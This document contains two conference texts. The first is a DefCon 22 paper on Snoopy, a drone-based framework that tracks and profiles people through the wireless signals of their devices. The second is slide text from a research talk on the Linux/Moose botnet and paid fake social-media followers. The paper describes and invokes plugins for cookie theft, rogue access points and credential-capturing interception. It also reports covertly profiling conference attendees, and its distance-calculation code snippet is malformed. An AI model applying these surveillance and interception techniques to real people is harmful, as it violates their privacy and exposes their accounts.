types: data, management, and control. Data packets encapsulate higher- level data (e.g. IP packets); management packets control the management of the network (e.g. devices connecting to an access point); control packets mediate access to the shared medium, such as collision detection and back-off (in a similar way to Ethernet). frame types have different subtypes. For example, the beacon, probe-request, and deauthentication frames are examples of management frame subtypes, while Request to Send (RTS) and Clear to Send (CTS) are examples of control frame subtypes. Wi-Fi packets typically have three addresses associated with them: a source address, a destination address and a Basic Service Set ID (BSSID) address (the latter uniquely identifies an AP). These three packet types define the origin of a packet, where it is going, and which AP it should use to get there. Security in Wi-Fi networks is broadly defined by three possibly options: Open, WEP encrypted, WPA encrypted or 802.11i (aka WPA/2) encrypted. Open networks require no passphrase to connect, whilst WEP and WPA and WPA/2 networks do. Fundamental security concerns were discovered in the WEP protocol, and WPA was designed to rectify them. WPA2 further enhanced the security. Stations (client devices) associate to an AP by sending a probe- request, which includes the station’s MAC address and the SSID of the desired network (alternatively, an AP may send out a beacon packet first). The AP responds with a probe response, after which security options and transfer rates are negotiated. Finally, the authentication process occurs (which will be dependent on the type of encryption in use, if any). If encryption is in use, only after this process will any traffic actually be encrypted (therefore it is trivial to intercept and/or spoof any of the association steps). 3.1.2 Bluetooth Bluetooth operates in the 2.4GHz range, and is designed for transmitting data over short distances between mobile devices, and for creating Personal Area Networks (PANs). A Bluetooth network consists of one master device, and up to seven slave devices. A slave may become a master by making a request to the current master. The master can only communicate with one slave at a time, but can rapidly change which device it is communicating with in a round-robin fashion. Bluetooth low energy (BLE) is a subset of Bluetooth 4.0 with a new protocol stack. It is designed to have very low power consumption and run off a coin cell. Bluetooth stacks are increasingly incorporated into smart phones, wearable technology, and a range of other low power applications. Examples include; the FitBit bracelet, which collects information such as sleep patterns and daily activity syncing results to a smart phone or computer via BLE; the PebbleBee, a personal item tagging solution which allows a user to find possessions via BLE (and allow other uses to locate them if lost); and iBeacon, an indoor positioning system that Apple calls “a new class of low- powered, low-cost transmitters that can notify nearby iOS 7 devices of their presence.” [16]. 3.1.3 ANT ANT is a wireless sensor network technology utilizing the 2.4GHz spectrum. Unlike Bluetooth, which was designed for small star networks, ANT was designed for large-scale sensor network topologies (whilst still requiring low power at each node). It has been primarily targeted at recreation and sports, especially cycling performance monitoring. The devices are typically embedded into equipment such as cadence meters, speed monitor, and heart rate monitors. The collected data is typically relayed back to a smart phone or computer for analysis. 3.1.4 ZigBee (Wireless Sensor Networks) ZigBee is a specification for a communication protocol to create wireless sensor networks built from small, lower power radios. Although devices are low power, transmit range can be very high (up to several kilometers). It is designed for scenarios that require a low data rate, prolonged battery life, and secure communication. Common applications include wireless meters, light switches and traffic management systems. It is intended to be cheaper and simpler than Wi-Fi or Bluetooth. 3.1.5 Cellular (GSM / UMTS) The GSM (Global System for Mobile Communication) and Universal Mobile Telecommunications System (UMTS) are standards to describe protocols for second (2G) and third (3G) cellular networks. When a mobile phone is turned on, it registers with the carrier communicating a TMSI (temporary mobile subscriber identity) with the nearest tower, as well as the IMSI (international mobile subscriber identity). The TMSI value rotates on tower switching, but the IMSI is constant for a device. Devices will also periodically update their location with the network (the familiar “tzzz” sound heard when a phone is near a radio). How often the location update occurs varies between country and provider. A discussion of the security measures and algorithms in use in cellular networks are beyond the scope of our discussion, but the @glennzw // DefCon 22 August 2014 IMSI catchers have demonstrated the ease with which a cellular network can be impersonated. With such a device, it is possible to determine the uniquely identifying IMSIs of all users registering with it, or to convince handsets to communicate via an attacker controlled personal cell tower (small cell). In certain conditions, it is even possible to actively signal users’ handsets to instruct them to discontinue use encryption. 3.1.6 NFC (Near Field Communication) NFC is a set of standards for establishing radio communication, and operates in the 13.56 MHz range. Communication involves an initiator and a responder, whereby the initiator generates an RF field to power a passive target. Targets may therefore be very simple devices, such as a tag, key fob, or card. The tags can store personal data such as credit card information, passport numbers, PINs, loyalty card numbers, amongst other information. Unlike Bluetooth, NFC operates at slower speeds but does not require pairing and consumes far less power. Whilst NFC has a theoretical maximum distance of 20cm, it has been demonstrated that with the right hardware NFC devices can be detected up to several meters away. 3.1.7 RFID (Radio Frequency Identification Tags) RFID tags are devices that have unique identification information that can be read via an external reader. Some tags are powered by and read by magnetic fields (via electromagnetic induction), while others use a battery or collect energy from the interrogating electromagnet field and then passively emit microwaves or UHF radio waves. There are several frequencies available, with the discerning characteristic being the range and data transmission rate (from 120kHz/10cm to 3-10GHz/200m). The tags are used in a wide array of applications, from access control; to tracking of goods; to contactless payment; to machine- readable identify documents. Table 1 - Wireless technologies summary Devices Range Unique ID Profile Info Wi-Fi ±100m MAC address SSID, rogue AP traffic interception Bluetooth ±50m MAC address Device name ANT ±50m Device number Device name, statistics ZigBee 1m to 80kms Source address Various GSM 35 kms IMSI, TMSI Femtocell traffic interception NFC ±10cm Various data Personal information (e.g. passport number) RFID 10cm to 200m Unique ID N/A 4. RELATED WORK 4.1 Commercial The ability to track and profile consumers is of great relevance to the retail world. Several companies give the ability to track consumers both in store, between stores, and out of stores. These metrics are often combined with other data sources, such as credit card data, loyalty schemes, and stores cameras. RetailNext appears to be the most advanced of current offerings, giving the ability to track: 1. Video cameras 2. Wi-Fi and Bluetooth 3. Cellular 4. Guest W-Fi 5. Point-of-sales systems 6. Staffing systems 7. Promotional calendars 8. Payment cards Other private companies such as EUCLID and Path Intelligence offer similar services. Some solutions are opt-in and reward the user by on device applications (for example, with iBeacon) whilst others are opt-out and passively observe. 4.2 Military There are numerous offerings in the military space for technologies that track persons, and attempt to extract data from their devices. Two such examples are the Israeli companies Netline Communications Technologies, and Verint Systems. Both over solutions to track, intercept, disrupt, and profile individuals on small, medium, and large scale. 4.3 Academic The Snoopy proof-of-concept was released in 2012 and demonstrated the ability to track and profile individuals based on the W-Fi signal their smart phones emitted. Insights gained included: 1. Visited locations based on geo-locating SSIDs 2. Interpersonal relationships based on common SSIDs 3. Interpersonal relationships based on SSID country 4. Personal details extracted from intercepted traffic CreepyDOL is a tool that performs some similar tasks, but only syncs data via Wi-Fi and uses a game engine for data exploration [9]. Mathieu Cunche has released numerous papers and tools exploring this arena [3-7]. 5. SNOOPY In this section we present and discuss the Snoopy framework. Snoopy is a distributed, sensor, data collection, interception, analysis, and visualization framework. It is written in a modular format, allowing for the collection of arbitrary data from various sources via the writing of simple Python plugins. For example, adding a Greentooth plugin for a newly developed wireless communication protocol would require minimal work, providing that libraries exist to interact with the technology. 5.1 Architecture The framework consists of client devices, known as drones and optional server devices. Each Snoopy instance can run multiple plugins simultaneously. Each plugin collects data, which is queried by the main Snoopy process and written to a local database. Snoopy can sync data between drones and a server, or @glennzw // DefCon 22 August 2014 drones can pull replicas of data from a server. Each Snoopy instance can run different plugins appropriate for its position in the greater picture. Figure 1 illustrates one possible setup, whereby three drones collect data, and sync to two separate servers. One syncs over 3G, the other two over Xbee. The second server syncs its data to a third server. Finally, a client laptop pulls data from the first and third servers, and runs data exploration tools to examine the data. The solid lines arrow lines denote a push; the dashed arrow lines denoted a pull. Figure 1 - Architecture Diagram 5.2 Data Collection As mentioned in Section 5.1 the Snoopy framework can run multiple plugins simultaneously. For example, collecting data via W-Fi, Bluetooth, GSM, and GPS. It is trivial to add plugins for any device for which Python code can be written for. See Table 2 for a list of currently available plugins. Table 2 - Existing plugins Name Description c80211 Will monitor a supplied network interface (which may be automatically put into monitor mode). A series of sub-plugins exist, such that each captured packet is passed to each sub-plugin. The existing sub-plugins perform: • Note client Wi-Fi proximity • Extract vendors from observed MAC addresses • Note Access Points • Collect (actively or passively) WPA handshakes • Extract session cookies from browsed websites • Extract Apple GUID numbers. bluetooth Discovers Bluetooth devices. gpsd Queries gpsd server for GPS co-ordinates. hearbeat Returns a hearbeat every 60 seconds. local_sync Pull database from remote server and sync it into the local one. mitmproxy Runs a man-in-the-middle proxy server capable of modifying traffic or saving certain data (e.g. credentials). rogueAP Creates a rogue Wi-Fi access point, with the option to behave promiscuously. server Runs a server - allowing local data to be synchronized remotely. sysinfo Retrieves system information, every 30 minutes. wigle Looks up SSID locations via Wigle (from the ssid table). gsm Identify mobile phones based on unique identifiers such as IMSEI and TMSEI. fitTech Identify fitness apparel, such as FitBit. ant Identify ANT devices (used by cyclists). NFC Identify NFC devices. RFID Identify RFID devices. sdr Identify devices by using Software Defined Radio. E.g. garage doors, care remotes, airplane transponders. The snippet below illustrates basic usage, with a single plugin (c80211). The ‘-d’ flag specifies the arbitrary name of the drone, and the ‘-l’ flag specifies the arbitrary location name. # snoopy -m c80211:iface=mon0 -d myDrone -l heathrow [+] Starting Snoopy with plugins: c80211 [+] Capturing local only. Saving to 'sqlite:///snoopy.db' [+] Waiting for plugin 'c80211' to indicate it's ready [+] Starting sniffing on interface 'mon0' [+] Plugin 'c80211' has indicated it's ready. [+] Done loading plugins, running... By default, data will be saved to a SQLite file (snoopy.db) in the working directory. This can be overridden with the --dbms option, as demonstrated below. # snoopy --dbms mysql://glenn:secret@localhost/snoopy_db The following database engines are supported: Drizzle, Firebird, Microsoft SQL Server, MySQL, Oracle, PostgreSQL, and SQLite 5.3 Data Synchronization Data may be synchronized from drone to server (push), or server to drone (pull). Server # snoopy_auth --create myDrone01 [+] Creating new Snoopy server sync account [+] Key for 'myDrone01' is 'GWWVF' # snoopy --plugin server [+] Running webserver on '0.0.0.0:9001' [+] Plugin server caught data for 2 tables. Drone # snoopy -m c80211:iface=mon0 -d myDrone -l heathrow -k GWWVF -s http://<server>:9001/ [+] Snoopy successfully sunc 2 elements over 2 tables. Plugins: * Wi-Fi * Bluetooth * GSM * Fitbit Plugins: * Wi-Fi * Cookie thief * GPS Plugins: * Thermal * Camera * Wi-Fi Plugins: * Server Plugins: * Server * Heartbeat Plugins: * Server * Geolocation * DataViz 3G 3G XBee Plugins: * RemotePull Run: * Maltego Drone01 Drone02 Drone03 Server01 Server02 Server03 Laptop01 Internet @glennzw // DefCon 22 August 2014 The pull operation acquires a replica of all data on the server. This option is illustrated below. Drone # snoopy -m local_sync:server_url=http://<server>:9001/ - d myDrone -m –k GWWVF [+] Plugin local_sync pulled 138 records from remote server. 5.4 Data Visualization & Exploration Data is stored in a database, and may be queried in several ways. The most trivial is to use the appropriate command line tool (for example, sqlite3 if saving in SQLite format). The preferred method is with Maltego, a data visualization and graphing engine. Entities are populated onto a canvas, and transforms can be run against them, to query data. Transforms may either be run locally, or via a remote Transform Distribution Server (TDS) server. The benefit of running queries against a TDS server is that the analyst laptop does not require any additional libraries or tools, and only requires the Maltego software. This is depicted in Figure 2. Figure 2 - Maltego TDS A simple web interface also allows exploration of data. This includes plotting of data onto a map, by both time series data, and static. 5.5 Modes of Operation The drone devices have five broad deployment options defined by the environment they are to be used in. These are Sentry, Mobile, Aerial, Ground Vehicle, and Telescope. 5.5.1 Sentry The Sentry configuration consists of a more ruggedized enclosure with a long life battery and/or a solar cell. It is intended to be deployed for medium to long term in an environment exposed to the elements (for example, under a park bench, on a telegraph pole, or in a tree). 5.5.2 Mobile Snoopy has been tested on two consumer mobile platforms, namely the Google Nexus 7 and the Nokia N900. Running the software from such a device would lower suspicion, due to the perceived harmless nature of the device. The GPS plugin collects positional data to compliment this mode of operation. 5.5.3 Aerial A Snoopy drone running on a BeagleBone single board computer has been successfully deployed on an Autonomous Aerial Vehicle (UAV), thus enabling beyond line-of-sight data collection. It is possible to search for and follow a known DTF with this mode by instructing the on-board flight controller. See Section 5.7 for a further discussion. The GPS plugin collects positional data to compliment this mode of operation. 5.5.4 Ground Vehicle Similarly to the above aerial scenario, a drone has been successfully deployed in a motor vehicle and bicycle. The GPS plugin collects positional data to compliment this mode of operation 5.5.5 Telescope The telescope configuration denotes using a high gain / high sensitivity antenna from a distant vantage point. It is intended to ‘sweep’ an area to collect DTFs, or to discover the general location of a known DTF (thereafter allowing mobile and/or aerial units to discover the precise location of the DTF). 5.6 Search Patterns Figure 3 illustrates a spiral search pattern. At time t=0 the drone begins its search for a known DTF. It ascends to a fixed altitude, and performs an outward spiralling pattern until obtaining the desired DTF. At this point, the unit may simply take a photograph and return, or maintain a follow pattern (see Section 5.7). Multiple drones can combine this strategy over a large area, with each having a designated area to search. Figure 3 - Spiral Search Pattern for Known DTF 5.7 Trilateration & Follow Whilst triangulation uses angles to locate points, trilateration uses lateral distances (this is the technique used with GPS t=0 t=10 @glennzw // DefCon 22 August 2014 satellites). If three positions (P1, P2, P3) are known, as well as the distance from each point (r1, r2, r3), then the formed overlapping circles can estimate a position relative to the three points. This can lend itself to the situation whereby three drones (or one drone in motion, with a reading from three positions) can determine the position of a DTF relative to their own GPS co-ordinates (see Figure 4). The distance metric can be calculated by the dB signal strength of a DTF. The free-space path loss (FSPL) characterizes how a wireless signal degrades over distance (following an inverse square law). This is illustrated by the following equation: FSPL(dB) = 20log10(d)+ 20log10( f )+ 92.45 The constant value of 92.45 will vary depending on the units chosen for other measurements. In the standard example above GHz and kilometers are used for frequency and distance, respectively. Other authors [27] recommend a value of -27.55, which treats frequency in MHz and distance in meters. The equation can be used to solve for d in Python as follows: def calcDistance(db, freq): exp = (27.55 - (20 * math.log10(freq) + db) / 20.0 return math.pow(10.0, exp) This technique will work significantly better for tracking outdoor signals due to lack of obstruction, thus simplifying the free space calculations. Figure 4 – Trilateration of Known DTF 5.8 Hardware Snoopy will run on any modern Linux based device, with the appropriate peripherals for the desired plugins. It has been tested on a laptop, the Nokia N900 (running Maemo Linux), the Nexus 7 tablet, and the BeagleBone Black single board computer. The later is the preferred method of deployment. Table 3 lists several hardware peripherals for collecting data of several technologies. Table 3 - Sample peripheral devices Technology Hardware Wi-Fi AWUS 036H Bluetooth Ubertooth ZigBee Digi Xbee GSM RTL2832U SDR RFID RFidler NFC ACR122U 6. RESULTS The framework has been tested in numerous environments, two of which will be discussed here. The first involved a 14-hour deployment at a busy train station in London. The second involved collecting data at numerous security conferences over the period of one year. At the time of writing, the Wi-Fi plugin generates the most comprehensive DTF, and thus results from this plugin are discussed in this section. 6.1 Train Station The framework was run on a laptop whilst sitting at King’s Cross railway station in London on the 23rd August 2012. During the 14- hour experiment 42,480 unique devices were observed. Figure 5 illustrates the distribution of observed devices, with clear peaks observed during the morning, lunch, and evening periods. Figure 6 illustrates the proportion of this number per manufacturer (as determined by devices’ MAC addresses). Figure 5 – Devices at Kings Cross station Figure 6 - Proportions by manufacturer, Kings Cross station 6.2 Security Conferences The framework was run at numerous security conferences over a two-year period. Table 4 lists the number of devices that were observed at the events, along with the approximate number of attendees. AerialDrone02 AerialDrone01 AerialDrone03 0" 500" 1000" 1500" 2000" 2500" 3000" 3500" 4000" 4500" 5000" 07:00" to" 07:59" 08:00" to" 08:59" 09:00" to" 09:59" 10:00" to" 10:59" 11:00" to" 11:59" 12:00" to" 12:59" 13:00" to" 13:59" 14:00" to" 14:59" 15:00" to" 15:59" 16:00" to" 16:59" 17:00" to" 17:59" 18:00" to" 18:59" 19:00" to" 19:59" 20:00" to" 20:59" Apple" 71%" Samsung" 14%" Motorola" 5%" HTC" 3%" LG" 2%" RIM" 2%" Sony" 1%" Nokia" 1%" Other" 1%" @glennzw // DefCon 22 August 2014 Table 4 - Conference attendee devices Conference Year Unique Devices ± Attendees Black Hat Vegas 2012 4,778 6500 ITWeb 1,106 400 44Con 969 350 Black Hat EU 2013 681 607 Securi-Tay 375 100 BSides London 208 474 Hackito-E-Sum 309 400 CERT Poland 598 500 Zero Nights 507 600 Black Hat Brazil 719 500 Figure 7 depicts devices observed at the Black Hat Brazil conference that were also observed at other conferences. Figure 7 - Repeat visitors to Black Hat Brazil 2013 Figure 8 illustrates client device previous network SSIDs geo- located from the Black Hat Brazil 2013 security conference. Figure 8 - Visitors to Black Hat Brazil 2013 6.3 Link Analysis The Maltego platform allows for the easy creation of arbitrary data querying constructs known as transforms, which are run against entities. A sample of transforms from the Wi-Fi suite is presented in Table 5. Table 5 - Wi-Fi transforms Input Entity Transform Output Entities Base of Operations fetchDrones Drone Drone fetchLocations Location Location fetchClients Client device Client fetchSSIDs SSID Client fetchObservations Observation SSID fetchSSIDLocation Address SSID fetchClients Client Address fetchNearbySSIDs SSID Client fetchDomains Domain Domain fetchCookies Cookie Domain fetchFacebook Facebook Facebook fetchFriends Facebook Furthermore, filtering can be performed by drone, location, or observation date/time. For example, it is possible to query all devices observed in Finsbury Park on the 11 March 2014 between 1pm and 1:30pm. 6.3.1 Shared Location It is possible to query the database for devices that have some value in common. For example, searching for all mobile phones that are looking for a common SSID, but ignoring generic results (such as “Starbucks”). This can quickly disclose relationships such as work colleagues (devices looking for a SSID at a determined business address) or family members (devices looking for an SSD at a known residence). Figure 9 illustrates four devices searching for the same network RBS-1-1111, which was geo- located to a Royal Bank of Scotland Branch in Liverpool Street. This observation was made on a train into London. Figure 9 - RBS devices 6.3.2 Known Prior Location It is possible to determine whether any devices are nearby have visited a predetermined location either by having previously collected data at the prior location, or by having information about the prior location that can be queried. For the later example it is @glennzw // DefCon 22 August 2014 possible to search for all known AP SSIDs from an address, and query the database to see if any devices within our proximity have searched for any of those SSIDs. This is illustrated in Figure 10 in which we query all AP SSIDs within a 200m radius of the SensePost office (as determined by a photograph on the SensePost website with EXIF data). Each returned SSID is then queried to see if any observed devices have ever searched for one of those SSIDs. In this real world (but redacted) example four SensePost devices were discovered at Black Hat 2013. Each of those discovered devices could be queried further to discover personal information about SensePost employees. Figure 10 - Discovering SensePost devices 6.3.3 Multi-hop Analysis Figure 11 depicts the end of a several steps of investigation. An Apple device of interest was noted to be at three locations: Starbucks, Hyde Park, and Heathrow airport. The analyst then queried the SSIDs of networks the device was looking for which revealed numerous results; each SSID was then queried to see if any other devices had been searching for any of the same networks, which revealed the Blackberry device which was also searching for the AGMC_GUEST network. This implies that both those devices have visited the same location at some point in the past (not necessarily simultaneously). This SSID is geo-located to Dubai, and an address and street view photograph is retrieved. The same process is conducted with the Blackberry device, which reveals a third link: an HTC device searching for the common Verizon SSID. This is geo-located to San Francisco. At this point active traffic interception was conducted against all three devices, from which Facebook profiles were acquired for two, revealing common friends. This result reinforces the original hypothesis that the owners of the HTC and Blackberry know each other. Figure 11 - Multi-hop analysis 6.4 Other Scenarios The examples in the previous section depict common scenarios that have been encountered. Furthermore, several scenarios are presented below. 6.4.1 Finding the Spy Assume that drones are running at numerous locations – from hotels, to airports, to rail stations. Partial intelligence is received that a person of interested will arrive during a certain week, and check into one of three hotels, and depart via one of two train stations a week later. It would be possible to look for overlap of one (or a few) devices from the locations and temporal information to isolate the target. 6.4.2 Discovering a Celebrity If we know that a celebrity’s schedule we can attempt to be within proximity of that person at numerous events, and observe the overlap of devices observed at multiple events. This process would be repeated until only one device was observed at all events that the target celebrity attended. 6.4.3 Understanding Customers Customer tracking was discussed in Section 4.1, and is currently an area of much debate regarding privacy and invasion. It would be of great interest to a retail store to have drones deployed at numerous stores to track how long customers spend in stores, how they migrate between stores, and the effects of promotions or other external factors affect numbers. 6.4.4 Catching Criminals Suppose an entire city is covered with drones. If a crime is committed at a location historical, records could be investigated to determine devices present near the scene of the crime. Alternatively, suppose a riot is taking place in a city. Aerial drones could be flown overhead to collect device signatures from the rioters below, and used for future prosecution, or to discover the identities of the persons on the ground. 7. Opting Out / Defences If a consumer does not want to be tracked based on the discussions in this paper they should take care to be aware of their own footprint. Take note of every electronic device carried on @glennzw // DefCon 22 August 2014 your person, and determined what wireless technologies are in use, and how unique the signals emitted are. The Snoopy framework is a useful tool for assessing one’s own footprint, before those for whom you would not want to know it capture it. 8. FUTURE WORK Additional research is planned for fixed wing aerial units due to considerably longer flight time, as well as optimizations and additional interfaces to the framework as a whole. As new wireless technologies are released, additional plugins will be added to the framework. 9. CONCLUSIONS In this paper the unique signatures that mobile devices emit was introduced. From this initial observation a hypothesis was constructed with the intention of tracking people based on devices they carry, as well discovering personal information about them. Numerous wireless technologies were discussed, identifying their range and possible fingerprint. The Snoopy framework was then introduced as a distributed, tracking, profiling, data interception, and analysis tool. The framework is technology agnostic and can be used to track any signature for which a suitable Python plugin can be written. Result data was discussed from field experiments with the framework, and additional hypothetical scenarios were discussed. Finally, advise was given on how to be aware of one’s own footprint, as well as a mention for future work. 10. ACKNOWLEDGMENTS Thank you to SensePost for providing the time and resources to conduct this research, and to you the reader for your interest in this topic. Additionally, thank you to the team who run the WIGLE project for their insight and assistance. 11. REFERENCES [1] Bock, J., & Lynn, M. (2007). In Hacking Exposed Wireless. McGraw-Hill, Inc. [2] Barbera, M. V., Epasto, A., Mei, A., Perta, V. C., & Stefa, J. (2013, October). Signals from the crowd: uncovering social relationships through smartphone probes. In Proceedings of the 2013 conference on Internet measurement conference (pp. 265-276). ACM. [3] Cheng, N., Mohapatra, P., Cunche, M., Kaafar, M. A., Boreli, R., & Krishnamurthy, S. (2012, October). Inferring user relationship from hidden information in wlans. In MILITARY COMMUNICATIONS CONFERENCE, 2012- MILCOM 2012 (pp. 1-6). IEEE. [4] Cunche, M., Kaafar, M. A., Chen, J., Boreli, R., & Mahanti, A. (2012, October). Why are they hiding? Study of an anonymous file sharing system. In Satellite Telecommunications (ESTEL), 2012 IEEE First AESS European Conference on (pp. 1-6). IEEE. [5] Cunche, M., Kaafar, M. A., & Boreli, R. (2012, June). I know who you will meet this evening! linking wireless devices using wi-fi probe requests. In World of Wireless, Mobile and Multimedia Networks (WoWMoM), 2012 IEEE International Symposium on a (pp. 1-9). IEEE. [6] Cunche, M. (2013). I know your MAC Address: Targeted tracking of individual using Wi-Fi. Journal of Computer Virology and Hacking Techniques, 1-9. [7] Cunche, M., Kaafar, M. A., & Boreli, R. (2013). Linking wireless devices using information contained in Wi-Fi probe requests. Pervasive and Mobile Computing. [8] Musa, A. B. M., & Eriksson, J. (2012, November). Tracking unmodified smartphones using wi-fi monitors. In Proceedings of the 10th ACM Conference on Embedded Network Sensor Systems (pp. 281-294). ACM. [9] O Connor, B. (2013). CreepyDOL: Cheap, Distributed Stalking. In BlackHat 2013. [10] Bankston, K & Soltani, S. (2014). Tiny Constables and the Cost of Surveillance. In The Yale Law Journal Online. [11] Soltani, S. (2014). Mobile Device Tracking. In FTC Spring Privacy Series. [12] Netline Communications Technologies. Detection Products. http://www.netlinetech.com/products/detection.html [13] Verint Systems. Communications Interception. http://www.verint.com/solutions/communications-cyber- intelligence/solutions/communications-interception/index [14] Cuthbert, D & Wilkinson, G. (2012) Snoopy: Distributed tracking and profiling framework. In 44Con 2012 [15] PebbleBee: Versatile iOS/Android Bluetooth Device http://www.pebblebee.com/. [16] Apple Inc. (2013). Submit your iOS 7 apps today. https://developer.apple.com/ios7/ [17] WiGLE: Wireless Geographic Logging Engine. http://wigle.net/. [18] Lee, E. (2012). NFC hacking: The easy way. In Defcon 20 [19] Lifchitz, R. (2012). Hacking the NFC credit cards for fun and debit. Hackito Ergo-Paris, France, poslední aktualizace, 13(4). [20] Federrath, H. (1999). Protection in mobile communications. In: Günter Müller, Kai Rannenberg (Ed.): Multilateral Security in Communications, Addison-Wesley-Longman 1999, 349-364 [21] Borgaonkar, R., Golde, N., & Redon, K. (2011). Femtocells: a Poisonous Needle in the Operator's Hay Stack. Black Hat Las Vegas. [22] Cavallini, A. (2013). iBeacons Bible. http://meetingofideas.files.wordpress.com/2013/12/ibeacons- bible-1-0.pdf [23] Digi XBee Radios: http://www.digi.com/xbee/ [24] Hancke, G. (2008, July). Eavesdropping attacks on high- frequency RFID tokens. In 4th Workshop on RFID Security (RFIDSec) (pp. 100-113). [25] Dynastream Innovations. (2013). ANT Message Protocol and Usage [26] Ryan, M. (2013). Bluetooth: with low energy comes low security. In 7th USENIX Workshop on Offensive Technologies. [27] Miller, R. (2013). Wifi-based trilateration on Android. http://rvmiller.com/2013/05/part-1-wifi-based-trilateration- on-android/
pdf
Behind the Scenes: The Industry of Social Media Manipulation Driven by Malware GoSecure Research Masarah Paquet-Clouston, Olivier Bilodeau Back in 2015-2016 Linux/Moose ? Linux/Moose An IoT botnet that conducts social media manipulation Social Media Manipulation The Ecosystem of Social Media Manipulation Presentation is about: •A four-year long investigation •Various investigative techniques •A mapping of all actors involved •Affects routers / Internet of Things (IoT) • Embedded Linux systems with busybox userland •Worm-like behavior • Telnet credential brute force •Payload: Proxy service • SOCKSv4/v5, HTTP, HTTPS Linux/Moose Honeypots • Software-based • Low interaction • Side-loaded an ARM virtual machine • Which we infected HTTPS Man-in-the-Middle (MITM) Attack Accessed the raw traffic! What did we have? •Several infected hosts actively used by operators •HTTPS traffic in plaintext •C&C traffic •Publicly available seller market Whitelisted IPs Reseller model? Variables Honeypots used Websites targeted TLS fingerprints User agents API calls Timestamps Accounts created on social networks Accounts followed on social networks Traffic analysis Whitelisted IP Fake account Buyer Where do we stand? •Fake accounts •Pinned to a given honeypot •Originate from a single whitelisted IP address •Whitelisted IP addresses •Runs on Windows servers •RDP is actively used Automation Software • We tried to find the Linux/Moose provider • Based on User-Agents: Mobile and Desktop • Socks proxy support • Found different features • Proxy-type HTTP / Socks • Per account User-Agents (Mobile and Desktop) • Custom browsing patterns • Found different business models • Unlimited accounts • One-time fee / Pay-per-month / Pay-per-account Automation Software Summary Architecture Browser Packer Our Target? GramDominator / Socinator .Net CEF Not packed No socks proxy support FollowAdder Xojo / REALBasic CEF Obscure Xojo framework No unlimited accounts MassPlanner C++ / .Net CEF Themida / WinLicense 2.x Only one overridable User-Agent FollowingLike .Net BotSocial, a custom browser in .Net ILProtector Custom User-Agent feature too recent FollowLiker Java compiled to native code HtmlUnit Java Library Excelsior JET Doesn’t interact with Instagram similarly Where do we stand? Found several automation software vendors Reseller model is not at the botnet level Found in the decrypted traffic Reseller panels •Sell popularity in bulk •All look alike Simple Investigation N=343 Fingerprint of the web application Domain registration information HTML content IP address Reseller Panel Providers All in one solution : •Ready to go software •Provides web hosting •Domain name sometimes included Features: •API to receive orders •API to send orders •Track your workers Several conversations by reseller panel owners on BlackHatWorld about THE main provider Several conversations by reseller panel owners on BlackHatWorld about THE main provider Several conversations by reseller panel owners on BlackHatWorld about THE main provider Several conversations by reseller panel owners on BlackHatWorld about THE main provider Where do we stand? •A system of resellers and reseller panel providers •Automation software to create and orchestrate fake accounts Working around Blocks • Automation software supports proxy lists A New Actor Enters the Game Previously Studied Botnet Residential Proxy Services Shocking Business Model Storm Proxies • Received IPs from USA: Kansas City, Lincoln NE and Sunnyvale CA • ISPs have conflicting information: • Digital Energy Technologies Chile with Org Host1Plus • Victoria Mahe with Org Joe's Datacenter, LLC • Traceroute leads to the US Storm Proxies (cont) • Uses Squid for proxying • Doesn’t protect scans to localhost • Linux system • Most likely Debian Jessie • Exim 4.84_2 • Squid 3.4.8 RSocks • Received IPs all from same subnet in Russia • ISP: Adman LLC • Traceroute confirms Russia RSocks (cont) • Exposes SSH on 3389 • Doesn’t protect scans to localhost • Unable to fingerprint proxy service • Most likely Debian Jessie • SSH banner deb8u7 Valar Solutions • Received a single IP from France • Scaleway, Dedibox • Traffic goes out an IPv6 address in the USA • AT&T Internet Services Valar (cont) • Uses 3Proxy • on 1067 non-continuous ports • Identified by nmap • Confirmed by error message strings that match source code • Protects from localhost scans • Both IPv4 and IPv6 • IPv6 sealed from outside • Proxy entry is Debian 9 • Nginx + OpenSSH Residential Proxy Providers Summary Infrastructure Geoip / Whois Powered by Malware? Luminati Leveraging willing participants’ phones Unknown Unlikely Storm Proxies Debian 8 (Jessie) with Squid Misleading information Unlikely RSocks Debian 8 (Jessie) with unknown proxy Small unknown ISP Unlikely High Proxies CentOS/RHEL 7 with Squid Misleading information Unlikely Valar Solutions Debian 9 (Stretch) with 3Proxy. Tunnel between France and USA. IPv6. Legit AT&T Internet Services Unlikely For More Where do we stand? •IoT botnet or residential proxy services •Automation software •Reseller panels and reseller panel providers Who buys from reseller panels? Potential Buyers Linux/Moose 86% of the relayed traffic focused on Instagram List of potential customers: 522 accounts Method: Content analysis Entertainment Industry (20%) Selling Products and Services (21%) Personal Profiles (26%) The Unexpected Ones The Fascinating Ones We made an experiment… Linux/Moose’s Targeted Social Networks In 2016 $95 $22.5 Squirrel buys 10,000 followers on Instagram < $1.8 Cheapest reseller panel N = 36 N = 33 $47/month $10-60 /month 2$/proxy /month Meanwhile… N = 3 N = 15 N = 7 To fulfill an order of 100,000 followers on Instagram Each bot (honeypot) performed, on average, 1,186 follows per month on Instagram 85 bots per month or 2,529 bots a day 2$/proxy /month Linux/Moose makes 100,000 follows on Instagram per day Creates 100k followers per day at $22.5/10,000 follows $250 per day $82,125 per year Median price reseller -> $1,000 a day at $22.5/10,000 follows -> That is 45 orders of 10,000 follows -> 450,000 follows a day -> 11 382 bots 1 client = $365 000/year What to do next? Regulate the sale of social media manipulation Policy makers: Target the middle-man Law enforcement: Social networks: Continue to increase the costs of creating fake likes and follows Individuals (you) Focus on the content rather than the container! What is this person bringing to society? Is this post legit? What are the sources? Thank you! Questions? Olivier Bilodeau [email protected] @obilodeau Masarah Paquet-Clouston [email protected] @masarahclouston Artwork https://gosecure.net/blog/ https://nsec.io/
pdf
